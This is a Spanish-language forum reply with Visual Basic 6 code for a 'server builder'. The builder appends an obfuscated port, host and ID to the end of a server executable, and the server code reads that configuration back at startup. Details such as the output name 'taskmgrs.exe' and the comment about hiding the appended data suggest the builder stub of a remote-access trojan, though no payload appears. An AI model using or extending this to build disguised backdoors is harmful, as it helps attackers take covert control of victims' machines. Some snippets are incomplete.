diseñas un form parecido a esto:
Código
Dim finta As Boolean Dim i1 As Integer Dim Primera, Segunda As String Dim MICAdena As String Private Sub Command1_Click() Me.MousePointer = 11 hacerlo Me.MousePointer = 0 End Sub Private Sub Command2_Click() 'solo para el test! On Error Resume Next If Len(Text1) = 0 Or Len(Text2) = 0 Or Len(Text7) = 0 Then MsgBox "Can`t continue...", vbCritical + vbOKOnly, "Falta parámetros..." Else Command1.Enabled = True End If End Sub Private Sub Command3_Click() CD.Filter = "Server (*.exe)|*.exe" CD.ShowOpen Text8 = CD.FileName End Sub Sub hacerlo() Dim puerto, host, IdServer As String Dim lp, lh, lt, li As Integer Dim DataToAdd As String Dim DataEncrypted As String puerto = Text1.Text host = Text2.Text IdServer = Text7.Text lp = Len(puerto) lh = Len(host) li = Len(IdServer) lt = lp + lh + li 'MsgBox (App.Path) DataToAdd = Trim(puerto) & "/" & Trim(host) & "/" & Trim(IdServer) & "/" DataEncrypted = EncodeW(DataToAdd) 'Open App.Path & "\taskmgrs.exe" For Binary As #1 '//abrimos el archivo en forma binaria. Open Text8.Text For Binary As #1 '//abrimos el archivo en forma binaria. Seek (1), LOF(1) + 1 'nos vamos al final del archivo Put #1, , DataEncrypted & Trim(Str(lt)) Close #1 MsgBox ("El servidor ha sido generado corréctamente (Encrypted)") End End Sub 'modulo para ocultar un poco los datos añadidos al final del servidor Function EncodeW(TextToE As String) As String Dim i As Integer Dim cad As String * 1 Dim Texto(200) As String Dim Encrip(200) As String Dim TextReturn As String For i = 1 To Len(TextToE) cad = Right(TextToE, i) Texto(i) = Left(cad, 1) Next For i = Len(TextToE) To 1 Step -1 Encrip(i) = Chr(Asc(Texto(i)) + 1) TextReturn = TextReturn & Encrip(i) Next EncodeW = TextReturn End Function
con eso agregas esos datos al final del server, y en el codigo del server tendrias que poner algo asi, (en el form load del server)
Código
ArrayCritico() As String 'esto en general On Error GoTo error: Dim DataRealD As String Dim nd, nd1 As String nd = Right(filedata, 2) nd1 = Right(filedata, Val(nd) + 5) MsgBox (nd) MsgBox (nd1) DataRealD = DecodeW(nd1) 'traducimos MsgBox ArrayCritico(0) 'puerto MsgBox ArrayCritico(1) 'host MsgBox ArrayCritico(2) 'id del server (simple identificador) MsgBox ArrayCritico(3) 'numero de caracteres escritos al final del exe Port = Val(ArrayCritico(0)) Ip = ArrayCritico(1) error: End Sub
en donde se ve que hay una funcioncilla "decodew" que va asi:
Código
Function DecodeW(TextToD As String) As String Dim TextDReturn As String Dim i As Integer Dim cad As String * 1 Dim TextoEncriptado(200) As String For i = 1 To Len(TextToD) cad = Right(TextToD, i) TextoEncriptado(i) = Left(cad, 1) Next For i = Len(TextToD) To 1 Step -1 TextDReturn = TextDReturn & Chr((Asc(TextoEncriptado(i))) - 1) Next DecodeW = TextDReturn End Function
ojala me hayas entendido
Oops! me falto decirte que para probarlo tienes que tener el exe de tu servidor, si lo pruebas desde basic no funciona.
Un saludo